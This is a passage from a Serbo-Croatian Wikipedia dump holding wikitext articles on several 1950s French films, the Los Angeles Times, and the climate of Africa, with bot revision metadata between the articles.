Epocque]]a, odnosno idilični ugođaj prije [[Prvi svjetski rat|Prvog svjetskog rata]]. Kritičarima je, pak, upalo u oči da ''Les Grandes Manœuvres'' predstavlja prvi Clairov film koji nije završio [[hepi end]]om. Premijerno je prikazan u [[Moskva|Moskvi]] kao dio francuske kulturne promocije, a potom u francuskim kino-dvoranama. Sam Clair ga je smatrao svojim najboljim poratnim filmom, ali su ga kritičari okupljeni u pokret [[Francuski novi val|Novog vala]] držali oličenjem svega izvještačenog i prevladanog u tadašnjoj [[Francuska kinematografija|francuskoj kinematografiji]]. ==Uloge== * [[Michèle Morgan]] ... Marie-Louise Rivière * [[Gérard Philipe]] ... Armand de la Verne * [[Jean Desailly]] ... Victor Duverger * [[Pierre Dux]] ... Pukovnik * [[Jacques Fabbri]] ... Armandov posilni * [[Jacques François]] ... Rodolphe * [[Yves Robert]] ... Félix Leroy * [[Brigitte Bardot]] ... Lucie * [[Lise Delamare]] ... Juliette Duverger * Jacqueline Maillan ... Jeanne Duverger, Victorova sestra * [[Magali Noël]] ... Thérèse, pjevačica (kao Magali Noel) * [[Simone Valère]] ... Gisèle Monnet * Catherine Anouilh ... Alice, prefektova kćer * Madeleine Barbulée ... dama u žutom šeširu * [[Dany Carrel]] ... Rose-Mousse * [[Judith Magre]] ... Emilienne == Vanjske veze == * {{IMDb title|id=0048133|title=Les Grandes Manoeuvres}} * [http://filmsdefrance.com/FDF_Les_grandes_manoeuvres_rev.html ''Les Grandes Manœuvres''] {{Webarchive|url=https://archive.today/20130123082226/http://filmsdefrance.com/FDF_Les_grandes_manoeuvres_rev.html |date=2013-01-23 }} at Films de France {{René Clair}} {{Normativna kontrola}} {{DEFAULTSORT:Grand Maneuver}} [[Kategorija:Francuski filmovi]] [[Kategorija:Dramski filmovi]] [[Kategorija:Romantični filmovi]] tkxrfbv1g2u10cgm9ai60pruf11w9jw 0 2167612 42602617 41826493 2026-05-27T22:03:10Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602617 wikitext text/x-wiki {{Infokutija film | tip = c/b | naslov = La Traversée de Paris | režija = [[Claude Autant-Lara]] | studio = Franco-London Film<br>Continentale Produzione | scenario = [[Marcel Aymé]]<br />[[Jean Aurenche]] | based on = {{based on|''Traversée de Paris''|[[Marcel Aymé]]}} | uloge = [[Jean Gabin]]<br />[[Bourvil]]<br />[[Louis de Funès]] | muzika = [[René Cloërec]] | fotografija = Jacques Natteau | montaža = Madeleine Gug | distributer = S.N.A Gaumont | premijera = {{Filmdate|1956|||[[17. venecijanski filmski festival|Venecija]]}} | trajanje = 80 min. | zemlja = {{flag|Francuska}}<br>{{flag|Italija}} | jezik = francuski<br>njemački }} '''''La Traversée de Paris''''' ({{jez-sh|Putovanje kroz Pariz}}) je [[francuska|francusko]]-[[italija]]nski crno-bijeli igrani film snimljen 1956. u režiji [[Claude Autant-Lara|Claudea Autant-Lare]]. Predstavlja adaptaciju romana ''Traversée de Paris'' [[Marcel Aymé|Marcela Ayméa]], a po žanru je mješavina [[dramski film|drame]] i [[filmska komedija|komedije]]. Radnja je smještena u [[Pariz]] za vrijeme [[Njemačka okupacija Francuske|njemačke okupacije]] u [[Drugi svjetski rat|Drugom svjetskom ratu]], a protagonisti - koje tumače [[Bourvil]] i [[Jean Gabin]] - su dva neznanca koji, sticajem okolnosti, jedne noći zajedno moraju dostaviti meso nabavljeno na [[crna burza|crnoj burzi]] te prolaze kroz brojne pustolovine. U ''La Traversée de Paris'' se u ulozi piljara pojavljuje [[Louis de Funès]], koji će sa Bourvilom kasnije tvoriti uspješni komičarski tandem. Bourvil je za svoju ulogu osvojio [[Kup Volpi]] na [[17. venecijanski filmski festival|venecijanskoj Mostri]]. == Uloge == *[[Jean Gabin]] : Grandgil, slikar *[[Bourvil]] : Marcel Martin, nezaposleni taksist *[[Louis de Funès]] : Jambier, piljar *[[Jeannette Batti]] : Mariette Martin, Marcelova supruga *[[Jacques Marin]] : gazda u restoranu *[[Robert Arnoux]] : Marchandot, mesar *[[Georgette Anys]] : Lucienne Couronne, proizvođač kave *[[Jean Dunot]] : Alfred Couronne, vlasnik *[[Monette Dinay]] : Mrs Jambier, l'épicière *[[René Hell]] : otac Jambier * [[Myno Burney]] : Angèle Marchandot, la bouchère, charcutière * [[Harald Wolff]] : njemački komandant (van špice) * [[Bernard Lajarrige]] : policajac * [[Anouk Ferjac]] : la jeune fille lors de l'alerte (van špice) * [[Hubert Noël]] : le gigolo arrêté (uncredited) * [[Béatrice Arnac]] : prostitute (uncredited) * [[Jean/Hans Verner]] : le motard allemand * [[Laurence Badie]] : la serveuse du restaurant * [[Claude Vernier]] : le secrétaire allemand de la Kommandantur * [[Hugues Wanner]] : le père de Dédé == Izvori == {{Reflist}} == Vanjske veze == * {{IMDb title|id=0049877}} * [http://filmsdefrance.com/FDF_La_traversee_de_Paris_rev.html La Traversée de Paris (1956)] {{Webarchive|url=https://web.archive.org/web/20120929000341/http://filmsdefrance.com/FDF_La_traversee_de_Paris_rev.html |date=2012-09-29 }} at the ''Films de France'' {{Normativna kontrola}} {{DEFAULTSORT:Traversee De Paris, Le}} [[Kategorija:Francuski filmovi]] [[Kategorija:Italijanski filmovi]] [[Kategorija:Dramski filmovi]] [[Kategorija:Filmske komedije]] [[Kategorija:Filmovi o Drugom svjetskom ratu]] c8u8vwxybq9c9cdg56npgcxxj5lbavo 0 2889844 42602645 41826923 2026-05-28T01:53:55Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602645 wikitext text/x-wiki {{Infokutija film | tip = c/b | naslov = Les Dents longues | slika = Les-dents-longues fromJapanesemagazine-Screen-Page62-sept1953.jpg | opis = scena iz filma | režija = [[Daniel Gélin]] | producent = Jacques Roitfeld | studio = Sirius | scenario = [[Michel Audiard]]<br />[[Marcel Camus]]<br />[[Daniel Gélin]] | uloge = [[Daniel Gélin]]<br>[[Danièle Delorme]]<br>[[Jean Chevrier]] | muzika = [[Paul Misraki]] | fotografija = Robert Juillard | montaža = Louisette Hautecoeur | distributer = Société des films Sirius | premijera = {{Filmdate|1953|3|11|df=y}} | trajanje = 90 min. | zemlja = {{flagcountry|FRA}} | jezik = francuski }} '''''Les Dents longues''''' ({{jez-sh|Dugi zubi}}) je [[francuska|francuski]] crno-bijeli film snimljen 1953. u režiji [[Daniel Gélin|Daniela Gelina]]. Po žanru je mješavina [[dramski film|drame]] i [[filmska komedija|komedije]], a radnja se temelji na istoimenom [[Jacques Robert|Jacquesa Roberta]], koji je, pak, bio inspiriran [[Guy de Maupassant|Maupassantovim]] ''[[Bel-Ami]]jem''. Protagonist, koga tumači sam Gelin, je ambiciozni mladi novinar koji dolazi u [[Pariz]] te se zapošljava u tamošnjim novinama i započinje munjeviti uspon u karijeri. Radnja prikazuje kako njegov nedostatak skrupula i spremnost na šurovanje sa kompromitiranim političarima izaziva krizu u braku sa suprugom (čiji lik tumači [[Danièle Delorme]]). Gelinu je ''Les Dents longues'' bio jedini film koji je režirao u karijeri. == Uloge == * [[Danièle Delorme]]: Eva Commandeur (supruga Louisa Commandeura) * [[Daniel Gélin]]: Louis Commandeur (Evin suprug) * [[Jean Chevrier]]: Mr Walter (glavni urednik "Paris-France") * [[Louis Seigner]]: Antoine Josserand (direktor tjednika "Le Canut") * [[Olivier Hussenot]]: André Maurienne (pravni dopisnik) * [[Jean Debucourt]]: Mr Goudal (bliski kolega Mr Waltera) * [[René Hiéronimus]]: Mr Renoir (kolega Mr Waltera) * [[Colette Mars]]: Carmen (partijski organizator) * [[Louis de Funès]]: zaposlenik u foto-laboratoriju * [[Gaby Bruyère]]: Maud (nastavnik Mr Brunija) * [[Louis Bugette]]: "Papa" (novinski fotograf) * [[Robert Rollis]]: Bob (barmen u plesnoj dvorani) * [[Joëlle Bernard]]: Raymonde Josserand (Antoineova supruga) * [[Roger Vadim]]: svjedok na vjenčanju Louisa i Eve * [[Brigitte Bardot]]: supruga svjedoka na vjenčanju * [[Judith Magre]]: sekretarica Mr Commandeura * [[Yvette Etievant]]: Yvonne (sekretarica Mr Waltera) * [[Christian Argentin]]: Mr Bruni (sumnjivi političar) * [[Paul Ville]]: Mr Bourdon (menadžer "Le Canuta") * [[René Lacourt]]: kućepazitelj (Izvan špice se pojavljuje [[Bruno Cremer]].) == Izvori == {{Reflist}} == Vanjske veze == * {{IMDb title|id=0044536}} * [http://filmsdefrance.com/FDF_Les_Dents_longues_1952_rev.html Les Dents longues (1952)] {{Webarchive|url=https://web.archive.org/web/20120329122811/http://filmsdefrance.com/FDF_Les_Dents_longues_1952_rev.html |date=2012-03-29 }} at the ''Films de France'' {{Normativna kontrola}} {{DEFAULTSORT:Dentes longues, Les}} [[Kategorija:Francuski filmovi]] [[Kategorija:Dramski filmovi]] [[Kategorija:Filmske komedije]] 0ehrl6zfrmhspdtgnhnyuyuulhc5r4b 0 2949264 42602646 42536832 2026-05-28T01:54:23Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 1 as dead.) #IABot (v2.0.9.5 42602646 wikitext text/x-wiki {{Infokutija film | tip = c/b | naslov = Les Derniers Jours de Pompéi<br>Gli ultimi giorni di Pompei | slika = Derniers_jours_de_Pompei_1950.jpg | režija = [[Marcel L'Herbier]]<br />[[Paolo Moffa]] | producent = [[Salvo D'Angelo]] | scenario = [[Alexandre Arnoux]] (dijalozi) | based on = {{based on|''[[The Last Days of Pompeii]]''|[[Edward Bulwer-Lytton, 1st Baron Lytton|Edward Bulwer-Lytton]]}} | uloge = [[Micheline Presle]]<br />[[Georges Marchal]] | muzika = [[Roman Vlad]] | fotografija = [[Roger Hubert]] | montaža = [[Gisa Levi]] | studio = Universalia<br>Franco London Films | premijera = {{Film date|1950|3|2|Italija|df=y}} | trajanje = 98 min. | zemlja = {{flag|Italija}}<br>{{flag|Francuska}} | jezik = francuski<br>italijanski (sinkronizirana verzija) }} '''''Les Derniers Jours de Pompéi''''' ({{jez-sh|Posljednji dani Pompeja}}; {{jez-it|Gli ultimi giorni di Pompeii}}) je [[francuska|francusko]]-[[italija]]nski crno-bijeli dramski film snimljen 1950. u režiji [[Marcel L'Herbier|Marcela L'Herbiera]]. Predstavlja adaptaciju [[The Last Days of Pompeii|istoimenog]] romana britanskog književnika [[Edward Bulwer-Lytton, 1st Baron Lytton|Edwarda Bulwer-Lyttona]]. Radnja je smještena u [[Stari Rim|rimski]] grad [[Pompeji]] pred [[Erupcija Vezuva 79.|erupciju Vezuva]] 79. godine. Protagonist, koga tumači [[George Marchal]], je mladi Grk po imenu Liziju koji lijepu djevojku po imenu Helena (čiji lik tumači ''Micheline Presle'') nastoji izbaviti iz ruku Arbaksa (čiji lik tumači [[Marcel Herrand]]), zlog svećenika kulta [[Izida|Izide]]. ''Les Derniers Jours'' je za tadašnje prilike bila izuzetno skupa produkcija, a snimanje, napravljeno u [[Cinecitta|Cinecitti]] i pariškim studijima, te lokacijama [[Veronska arena|Veronske arene]], se odužilo preko dvije godine; također je sadržavao tada impresivne specijalne efekte. L'Herbier je film zamislio kao dio ciklusa ''Chroniques filmées'' ("filmske kronike"), odnosno nastojao dati "polu-dokumentarni" karakter kroz prikazivanje svakodnevnog života drevnih Rimljana. ==Vanjske veze== * {{imdb title|0040284|Gli ultimi giorni di Pompei|(1950 film)}} * [http://filmsdefrance.com/FDF_Derniers_jours_de_Pompei.html ''Les Derniers Jours de Pompéi'' (1950)]{{Dead link|date=May 2026 |bot=InternetArchiveBot |fix-attempted=yes }} at [http://filmsdefrance.com/ Films de France] {{Webarchive|url=https://web.archive.org/web/20190510184234/http://www.filmsdefrance.com/ |date=2019-05-10 }} {{Marcel L'Herbier}} {{Normativna kontrola}} {{DEFAULTSORT:Derniers Jours de Pompei, Les}} [[Kategorija:Italijanski filmovi]] [[Kategorija:Francuski filmovi]] [[Kategorija:Historijski filmovi]] [[Kategorija:Dramski filmovi]] gprfe0cunvqklt1gdrve5ot38urj8gf 0 3110072 42602689 42411193 2026-05-28T07:36:18Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602689 wikitext text/x-wiki {{Infokutija novine | naziv = Los Angeles Times | slika = LAT_102108.jpg | opis = Naslovnica 21. 10. 2008. | tip = dnevne [[novine]] | format = [[Compact (novine)|Compact]] | osnivanje = {{Start date|df=yes|1881|12|4}} | osnivač = | osoblje = | vlasnici = [[Tribune Publishing]] | sjedište = 202 West 1st Street<br>[[Los Angeles]], [[Kalifornija]] 90012 | urednik = Davan Maharaj | cijena = | izdavač = | ISSN =0458-3035 | OCLC = 3638237 | website = {{URL|http://www.latimes.com/}} | tiraž = 739.147 dnevno (2014)<ref>{{cite web|title=Top 10 Newspapers in Trouble| date=17.3. 2014| url=http://www.realclearpolitics.com/lists/top_10_newspapers_in_trouble/st_paul_pioneer_press.html?state=play| publisher=realclearpolitics.com}}</ref> }} '''''Los Angeles Times''''', znan lokalno jednostavno i kao ''Times'', su američke dnevne [[novine]] koje se tiskaju u [[Los Angeles]]u, [[Kalifornija|Kaliforniji]]. 2008. bile su najveće gradske novine u opticaju u SAD-u, te četvrte najšire distribuirane u državi. 2000., [[Tribune Media]], roditeljsko poduzeće ''[[Chicago Tribune]]a'' i lokalne TV stanice [[KTLA]], kupio je ''Los Angeles Times''.<ref name=Tribune>{{cite news|title=Tribune called on to sell L.A. Times|url=http://money.cnn.com/2006/09/18/news/companies/latimes/index.htm|newspaper=[[CNN]]|date=18.9. 2006|archive-date=2013-10-29|access-date=2014-12-18|archive-url=https://web.archive.org/web/20131029214102/http://money.cnn.com/2006/09/18/news/companies/latimes/index.htm|url-status=dead}}</ref> Trenutno je u vlasništvu [[Tribune Publishing]]. == Reference == {{izvori}} == Vanjske veze == *[http://www.latimes.com/ Los Angeles Times] [[Kategorija:Novine u SAD]] [[Kategorija:Los Angeles]] 2pp2h2aqfwa9vjrpqcnfdc7802f5skq 0 3550043 42602603 42317960 2026-05-27T20:12:58Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602603 wikitext text/x-wiki {{Infokutija film | tip = c/b | naslov = L'Étrange Madame X | slika = L Etrange Madame X poster.jpg | opis = kino-poster | režija = [[Jean Grémillon]] | producent = Claude Dolbert<br>André Collignon <br>(co-producer) | scenario = Marcelle Maurette <br>Pierre Laroche (dijalozi)<br>Albert Valentin (adaptacija) | uloge = [[Michèle Morgan]] <br> [[Henri Vidal]] | muzika = [[Vincent Scotto]] | fotografija = Louis Page | montaža = Louisette Hautecoeur | studio = Codo Cinéma<br>S. G. G. C. | premijera = {{Filmdate|1951|6|22|df=y}} | trajanje = 91 min. | zemlja = {{flagcountry|FRA}} | jezik = francuski }} '''''L'Étrange Madame X''''' ({{jez-sh|Čudna gospođa X}}) je [[francuska|francuski]] crno-bijeli igrani film snimljen 1951. u režiji [[Jean Grémillon|Jeana Grémillona]]. Po žanru je [[dramski film|drama]]. Naslovna protagonistica, čiji lik tumači [[Michèle Morgan]], je skromna sobarica koja zatrudni sa mladim i siromašnim stolarom (čiji lik tumači Morganin stvarni suprug [[Henri Vidal]]). Radnja prikazuje kako trudnoća razotkriva njen dvostruki život, odnosno kako je u stvarnosti udana za bogatog i uticajnog izdavača (koga glumi [[Maurice Escande]]). ==Uloge== * [[Michèle Morgan]] ... Irene * [[Henri Vidal]] ... Etienne * [[Maurice Escande]] ... Jacques * Arlette Thomas ... Jeanette * Louise Conte ... Angèle * Robert Vattier ... Moissac * Paul Barge ... ujak Léon * Roland Alexandre ... Marcel ==Vanjske veze== *[http://filmsdefrance.com/FDF_L_etrange_Madame_X_rev.html ''L'Étrange Madame X''] {{Webarchive|url=https://web.archive.org/web/20121012171109/http://filmsdefrance.com/FDF_L_etrange_Madame_X_rev.html |date=2012-10-12 }} at Films de France *{{IMDb title|id=0043164}} {{Jean Grémillon}} {{Normativna kontrola}} {{DEFAULTSORT:Etrange Madame X, L}} [[Kategorija:Francuski filmovi]] [[Kategorija:Dramski filmovi]] ttwcf37owa7zmuxkuy6uft31ig2cgx4 0 3555291 42602541 42584918 2026-05-27T12:34:07Z InternetArchiveBot 155863 Rescuing 0 sources and tagging 1 as dead.) #IABot (v2.0.9.5 42602541 wikitext text/x-wiki [[File:Africa satellite orthographic.jpg|mini|300px|Satelitska snimka Afrike]] '''Klima Afrike''' je formirana na osnovu raščlanjenosti [[reljef]]a, zatim uticaja opšte cirkulacije [[Zemljina atmosfera|atmosfere]] i kretanja [[Morska struja|morskih struja]]. Smatra se „žarkim“ kontinentom, zato što veći deo njene površine ležu okviru [[izoterma|izoterme]] od 50&nbsp;°C. Najviše temperature zabilježene su u sjevernom djelu, u pustinji [[Sahara|Sahari]] i prelaze 40 stepeni [[Stepen celzijusa|Celzijusa]]. Budući da [[ekvator]] preseca Afriku skoro po sredini, u severnom i južnom delu razvili su se pretežno ravnomerno [[Ekvatorijalna klima|ekvatorijalni]], [[Subekvatorijalna klima|subekvatorijalni]], [[tropska (prašumska) vlažna klima|tropski]] i [[Suptropska klima|suptropski klimat]]. Savremene klimatske odlike afričkog kontinenta, formirale su se tokom [[paleogen]]a i [[neogen]]a, pa se današnji raspored i karakteristike malo razlikuju od tadašnjih<ref name="RegGeoAfr">Vujadinović, S, str. 131</ref>. == Opšta cirkulacija atmosfere == Nad ekvatorom se nalazi stalno polje niskog vazdužnog protiska izazvano uzlaznim vazdušnim strujanjima, zenitalnim kišama i velikom vlažnosti vazduha. To omogućava prodor vetrova sa [[Severna hemisfera|severne]] i [[Južna hemisfera|južne hemisfere]] i zone tropskih strujanja oko 30° [[Geografska širina|gš]]. To su stalni vetrovi - [[pasati]] (severoistočni i jugoistočni). Anticiklonalna polja na severnom i južnoj hemisferi se tokom jula meseca premeštaju ka [[sever]]u, a tokom januara prema [[jug]]u, pa se zbog toga tokom godine menjaju klimatski uslovi na afričkom kontinentu<ref name="RegGeoAfr"/>. === Cirkulacija u julu === [[Datoteka:Africa Pressure Map July.svg|175px|mini|desno|Vazdušni pritisak u julu]] U [[jul]]u mesecu se Saharski [[anticiklon]] nalazi iznad [[Sredozemno more|Sredozemnog mora]], gde tada preovlađuje toplo i suvo vreme. [[ciklon|Polje niskog vazdušnog pritiska]] obuhvata prostor od jugozapadne [[Azija|Azije]] preko Sahare i regije [[Sudan (regija)|Sudana]]. Vazdušne struje u vidu severoistočnog pasata duvaju iz Sredozmelja ka Sahari, ali kako su slabije zasićene vlagom i dolaze u kontakt sa pregrejanim vazduhom iznad [[pustinja|pustinje]], ubrzo postaju suve i ne donose ovim prostorima [[kiša|kišu]]<ref>Vujadinović, S, str. 132</ref>. Iznad [[Južna Afrika (regija)|južne Afrike]] formira se polje visokog vazdušnog pritiska, vreme je vedro i suvo. Na zapadnoj strani suvi [[pasati|pasat]] duva paralelno uz obalu [[Namibija|Namibije]] i [[Angola|Angole]], jer se pravac pružanja obalske linije poklapa sa smerom [[vetar|vetrova]]. Kao takav on ne donosi kišu. Nakon što pređe [[ekvator]], pod uticajem rotacije, pasat menja pravac i postaje jugozapadni monsun. Prelazeći preko toplog [[Gvinejski zaliv|Gvinejskog zaliva]], donosi padavine Gvinejskom priobanju i unutrašnjosti Sudana do južnog oboda Sahare. Na istočnoj strani jugistočni pasat duva iz polja visokog pritiska čije je sredite nad [[Indijski okean|Indijskim okeanom]] u blizini [[Madagaskar]]a. Nakon što pređe ekvator skreće prema istoku i duva paralelno sa [[Somalija|Somalijskom]] obalom, a u unutrašnjosti donosi padavine [[Etiopska visoravan|Etiopskoj visiji]]. Krajnji jug južne Afrike tada je pod uticajem niskog vazdušnog pritiska, pa zapadni vetrovi umerenih širina donose dosta vlage i kiša sa [[Atlantski okean|Atlantika]]<ref name="RegGeoAfr1">Vujadinović, S, str. 133</ref><ref>{{Cite web |title=Introduction to Tropical Meteorology - Focus 2: Seasonal Precipitation in Central Africa |url=http://www.goes-r.gov/users/comet/tropical/textbook_2nd_edition/navmenu.php_tab_6_page_4.2.0.htm |access-date=2015-02-17 |archive-date=2014-06-24 |archive-url=https://web.archive.org/web/20140624000732/http://www.goes-r.gov/users/comet/tropical/textbook_2nd_edition/navmenu.php_tab_6_page_4.2.0.htm |dead-url=yes }}</ref>. === Cirkulacija u januaru === [[Datoteka:Africa Pressure Map January.svg|175px|mini|desno|Vazdušni pritisak u januaru]] U [[januar]]u mesecu Saharski anticiklon nalazi se iznad Sahare, Sudana i jugozapadne Azije. Nad Sredozemljem i uzanim pojasom priobalja [[Severna Afrika|severne Afrike]] formira se polje niskog vazdušnog pritiska što pogoduje prodoru stalnih [[zapadni vetrovi|zapadnih vetrova]] sa Atlantika. Oni tom delu donose tada padavine. Iz Saharskoga maksimuma duva severoistočni pasat prema Gvinejskom zalivu, a iz [[Arabijsko poluostrvo|Arabije]] prema Etipskoj visiji i Somaliji. Budući da ovaj pasat ima kontinentalni karakter, suv je i ne donosi kišu, osim na Etiopskim planinama, gde se padavine izlučuju usled veće nadmorske visine<ref name="RegGeoAfr1"/><ref>[http://www.addis-ababa.climatemps.com/precipitation.php Rainfall/ Precipitation in Addis Ababa, Ethiopia]</ref>. Iznad južne Afrike nalazi se u januaru polje niskog vazdušnog pritiska. Iz istočne periferije Južnoatlanstkog anticiklona struje pasati prema ovom [[Depresija (meteorologija)|depresiji]]. Hladna [[Benguelska struja]] rashlađuje vazušne mase i one u dodiru sa zagrejanim kopnom gube vlagu, tako da ne donose padavine zapadnoj obali. Kada pasat pređe ekvator poprima odlike jugozapadnog monsuna i donosi velike padavine Ginejskom priobalju. Njegov dalji prodor prema unutrašnjosti sprečava suv severoistočni pasat iz Sahare. Istočne obale su pod uticajem pasata iz južnog dela [[Indijski okean|Indijskog okeana]]. On donosi padavine zapadnoj obali Madagaskara, kao i jugoistoku Afrike nakon što se zasiti prelaskom preko tople [[Mozambička struja|Mozambičke struje]]. Kako su u priobalju visoke planine ([[Drakenske planine]]), kiše se izlučuju u južnim podgorinama, pa u unutrašnjost kopna vazdušne mase prodiru kao suve<ref name="RegGeoAfr1"/><ref>{{Cite web |title=Inter-tropical Convergence Zone |url=https://www.courses.psu.edu/test/test100_hkr/AFIM/Body_HTML/ITCZ.html |access-date=2015-02-17 |archive-date=2008-03-29 |archive-url=https://web.archive.org/web/20080329073657/http://www.courses.psu.edu/test/test100_hkr/AFIM/Body_HTML/ITCZ.html |dead-url=yes }}</ref>. == Reljef i obale == [[Datoteka:Topography of africa.png|175px|mini|desno|Fizičko-geografska mapa Afrike]] [[Reljef]] predstavlja značajan faktor prilikom formiranja klimatskih odlika nekog podneblja. Afrika se uslovno deli na „nisku“ i „visoku“. Niska Afrika obuhvata prostor severnog, [[Zapadna Afrika|zapadnog]] i [[srednja Afrika|centralnog]] dela kontinenta<ref name="RegGeoAfr2">Vujadinović, S, str. 126</ref>. Kako je njena prosečna visina ispod 1.000 metara to pogoduje prodor stalnih vazdušnih masa sa Atlantskog okeana (zapadni umereni vetrovi). Uticaj tih vetrova oseća se duboko u unutrašnjost kontinenta. Ipak, oni ne donose padavine Sahari iz nekoliko razloga: planinski venac [[Atlas (planine)|Atlasa]], postavljen je upravno na kretanja vazdušnih masa, pa se kiša izluči u severnim podgorinama u uskom obalnom pojasu; vazduh prelazi preko hladne [[Kanarska struja|Kanarske struje]] u zapadnom priobalju severnog dela kontinenta, rashlađuje se i gubi vlagu; kopno Sahare je pregrejano i suvo, pa kao takvo utiče da se te mase brzo ugreju i udalje od tačke zasićenja. U zapadnom delu Afrike, upravno na kretanje jugozapadnih monsuna nalaze se planinski masivi [[Futa Džalon]], [[Kamerun (planina)|Kamerun]] i dr. Zbog svog položaja u njihovim južnim podgorinama izluči se velika količina padavina (preko 2.000-3.000&nbsp;mm). Saharski masivi [[Ahagar]] i [[Tibesti (planinski venac)|Tibesti]] dobijaju veću količinu padavina od okolnih oblasti zahvaljujući nadmorskoj visini. Visoka Afrika odlikuje se reljefom višim od 1.000 metara, što predstavlja značajnu prepreku prodoru vazušnih masa sa okeana<ref name="RegGeoAfr2"/>. U jugoistočnom delu visoki planinski venci ([[Drakenske planine]] i dr), postavljene su upravno na pravac kretanja vžnog jugoistočnog [[pasati|pasata]]. Kako venci dostižu i do 3.000 metara nadmorske visine, vazdušne mase izlučuju padavine i priobalnim podgorinama, pa kao suve prelaze preko prepreke i prodiru u unutrašnjost. U [[Istočna Afrika|istočnoj Africi]] nalaze se [[Etiopska visoravan|Etiopske planine]], čija je visina mestimično i preko 4.000 metara, to pogoduje razviću orografskih padavina tokom godine. Značaja uticaj na prostiranje dominantnih vetrova ima i pravac pružanja [[obala]]. To se najviše oseća u zapadnom priobalju južnog dela Afrike de pasati duvaju paralelnom sa obalskom crtom [[kontinent]]a prema ekvatoru. Na istoku jugistočni pasat iz [[Indijski okean|Indijskog okeana]] nakon prelaska ekvatora dobija jugozapadni pravac i duva paralelno sa obalom [[Somalija|Somalije]]. Ovakav raspored obala i izrazitih uzvišenja u reljefu direktno utiče na lokalne i [[regija|regionalne]] klimatske prilike. == Morske struje == [[Datoteka:Africa Ocean Currents Map-sr.svg|175px|mini|desno|Glavne morske struje]] [[Morska struja|Morske struje]] utiču značajno na klimatske prilike zbog svoje temperature i pravca kretanja. Uz obale Afrike protiču četiri struje: Kanarska, Gvinejska, Istočnomadagaskarska, Benguelska i Mozambička. [[Kanarska struja]] je hladni ogranak [[Golfska struja|Golfske struje]] i protiče uz zapadnu obalu severa Afrike ([[Maroko]], [[Zapadna Sahara]], [[Mauritanija]]). Zapadni vetrovi koji donose vlagu sa Atlantika, prelaze preko nje rashlađuju se i gube na zasićenosti, što direktno utiče na manjak padavina u zapadnom delu Sahare i formiranje pustinje. Uz zapadne obale južnog dela Afrike teče [[Benguelska struja]] ([[Južnoafrička Republika|JAR]], [[Namibija]], [[Angola]]). Jugoistočni pasat koji duva iz južnog dela Atlantskog okeana prema kopnu, prelazi preko ove struje i gubi vlagu, što smanjuje padavine i utiče na pojas priobalnih pustinja ([[Namib]]). [[Gvinejska struja]] je topla i teče preko [[Gvinejski zaliv|Gvinejskog zaliva]] od zapada ka istoku. Jugozapadni monsun koji duva od ekvatora prema kopnu, prelazi preko nje, dodatno se zasićuje i donosi obilne padavine priobalju. Kraj istočnih obala [[Madagaskar]]a teče [[Istočnomadagaskarska struja]] koja zagreva i obogaćuje vlagom jugoistočni pasata sa Indijskog okeana, što donosi obilne kiše ovom delu ostrva. Pasat nastava ka jugoistoku i prelazi preko takođe tople [[Mozambička struja|Mozambičke struje]], što povećava vlažnost i količinu padavina u priobalju južne Afrike. == Temperaturni raspored == Afrika se smatra „žarkim“ kontinentom, zbog svog položaja u odnosu na [[ekvator]] i količini [[sunčeva radijacija|insolacije]] koju primaju određeni delovi tokom godine. Na temperaturu osim insolacije, utiče raspored reljefa i [[apsolutna visina|nadmorska visina]]. Afrika je kontinent izrazitih temperaturnih ekstrema - leti one prelaze 35 podeok, a zimi se u nekim oblastima mogu spustiti značajno ispod 0&nbsp;°C. Ukupna [[amplituda]] između izmerenog maksimuma i minimuma iznosi oko 81&nbsp;°C. U tabeli su predstavljene najviša i najniža ikada izmerena temperatura u Africi: <center> {| class="wikitable" style="text-align:left;" |- ! style="width:200px; text-align:center;"| Vrednost ! style="width:100px; text-align:center;"| Temp. ( °C)<ref name="meteorological1">[http://wmo.asu.edu/ World Meteorological Organization Global Weather & Climate Extremes]</ref> ! style="width:150px; text-align:center;"| Mesto<ref name="autogenerated1">[http://www.ncdc.noaa.gov/oa/climate/globalextremes.html Global Measured Extremes of Temperature and Precipitation]</ref> ! style="width:150px; text-align:center;"| Datum |- || Maksimalna [[temperatura]] || <center>'''+57,8'''</center> || [[Azizija]] {{flagcountry|LBY}} || [[13. septembar]] [[1922]]. |- || Minimalna [[temperatura]] || <center>'''-24'''</center> || [[Ifrane]] {{flagcountry|MAR}} || [[11. februar]] [[1935]]. |} </center> [[Datoteka:Africa Temperature Map-sr.svg|350px|mini|desno|Temperature u Africi]] Upadni ugao sunčevih zraka na većem delu Afrike, a naročito oko ekvatora je veliki. To doprinosi začem zagrevanju površine [[tlo|tla]]. Tokom leta severne hemisfere u [[jul]]u mesecu, [[izoterma]] od 30° [[Stepen celzijusa|S]] obuhavata ceo severni deo Afrike (saharske i atlaske zemlje, podsaharska oblast), spušta se prema dolini [[Niger (reka)|Nigera]] i kotlini [[Čad (jezero)|Čada]], a zatim lučno obuhvata prostor Etiopije i Somalije na jugoistoku. U unutrašnjim delovima Sahare formiraju se izoterme od 35-40&nbsp;°C. U tom periodu na južnoj hemisferi je [[zima]]. Izoterme od 10-20&nbsp;°C zahvataju oblasti južno od basena [[Kongo (reka)|Kongo]], a ka severu zalaze u regiju [[Velika jezera (Afrika)|Velikih jezera]]. Temperature niže od 10&nbsp;°C karakteristične su za prostrane planinske vence i visoravni ([[Etiopska visoravan]], Drakenske planine i dr). Za vreme zime severne hemisfere u [[januar]]u mesecu u severnom delu kontinenta na prostoru Sahare, njenih južnim oboda i priobalja [[Sredozemno more|Sredozemnog mora]] javlja se izoterma od 10-20&nbsp;°C. Oblast [[Atlas (planine)|Atlaskih]] i Saharskih planina ([[Ahagar]], [[Tibesti (planinski venac)|Tibesti]], Tesilin Adžer i dr) je zbog veće nadmorske visine u okviru izoterme ispod 10° [[Stepen celzijusa|Celzijusa]]. Veliko prostranstvo od [[Sahel]]a na severu du krajnjeg juga Afrike tada je obuhvaćeno izotermama od 20-30&nbsp;°C. Na južnoj hemisferi je januaru [[leto]]. Prostor Velikih jezera, Drakenskih planina i Etiopske visije zbog veće nadmorske visine leži u okviru izoterme 10-20&nbsp;°C. Slaba raščlanjenost [[reljef]]a uticala je na kontinentalni karakter temperature. Odustvo velikih 